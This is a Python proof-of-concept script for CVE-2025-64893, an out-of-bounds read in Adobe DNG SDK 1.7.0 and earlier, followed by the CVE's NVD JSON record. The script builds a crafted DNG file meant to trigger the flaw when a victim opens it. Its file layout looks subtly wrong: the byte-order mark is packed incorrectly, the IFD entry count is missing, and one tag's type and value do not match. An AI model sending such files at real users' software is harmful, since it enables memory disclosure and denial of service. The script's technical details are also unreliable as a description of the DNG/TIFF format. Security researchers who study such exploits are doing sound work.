CVE-2025-64893

# CVE-2025-64893 PoC - Malicious DNG File Trigger # This PoC generates a malformed DNG file to trigger Out-of-bounds Read # Usage: python cve_2025_64893_poc.py <output_dng_file> import struct import sys def create_poc_dng(filename): """ Create a PoC DNG file to trigger CVE-2025-64893 This creates a DNG file with malformed TIFF/DNG tags that can trigger an out-of-bounds read vulnerability in DNG SDK <= 1.7.0 """ # DNG/TIFF Header header = bytearray() header.extend(struct.pack('<H', 0x002A)) # Byte order mark (II) header.extend(struct.pack('<H', 42)) # TIFF magic number header.extend(struct.pack('<I', 8)) # Offset to first IFD # Malformed IFD with crafted tags to trigger OOB read # Tag: NewSubFileType (254) - crafted value ifd_entry = bytearray() ifd_entry.extend(struct.pack('<H', 254)) # Tag: NewSubFileType ifd_entry.extend(struct.pack('<H', 3)) # Type: SHORT ifd_entry.extend(struct.pack('<I', 1)) # Count ifd_entry.extend(struct.pack('<I', 0xFFFFFFFF)) # Value pointing to invalid memory # Tag: ImageWidth (256) - valid but followed by malformed data ifd_entry.extend(struct.pack('<H', 256)) # Tag: ImageWidth ifd_entry.extend(struct.pack('<H', 3)) # Type: SHORT ifd_entry.extend(struct.pack('<I', 1)) # Count ifd_entry.extend(struct.pack('<I', 256)) # Width value # Tag: ImageLength (257) - valid ifd_entry.extend(struct.pack('<H', 257)) # Tag: ImageLength ifd_entry.extend(struct.pack('<H', 3)) # Type: SHORT ifd_entry.extend(struct.pack('<I', 1)) # Count ifd_entry.extend(struct.pack('<I', 256)) # Length value # Tag: DNG version (50706) - crafted to trigger vulnerable code path ifd_entry.extend(struct.pack('<H', 50706)) # Tag: DNGVersion ifd_entry.extend(struct.pack('<H', 1)) # Type: BYTE ifd_entry.extend(struct.pack('<I', 4)) # Count: 4 bytes ifd_entry.extend(struct.pack('<I', 0x10000000)) # Malformed version # End of IFD marker ifd_entry.extend(struct.pack('<H', 0)) # No more entries ifd_entry.extend(struct.pack('<I', 0)) # Next IFD offset # Write the PoC file with open(filename, 'wb') as f: f.write(header) f.write(ifd_entry) # Add padding that may trigger OOB read during parsing f.write(b'\x00' * 1024) print(f"[+] PoC DNG file created: {filename}") print(f"[!] This file may trigger CVE-2025-64893 in vulnerable DNG SDK versions") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python cve_2025_64893_poc.py <output_dng_file>") sys.exit(1) create_poc_dng(sys.argv[1])

{"cve": {"id": "CVE-2025-64893", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:07.813", "lastModified": "2025-12-10T16:03:15.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DNG SDK versions 1.7.0 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure or application denial of service. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "8A37E544-82AE-4E72-BA5D-A8C98061CEF8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dng-sdk/apsb25-118.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}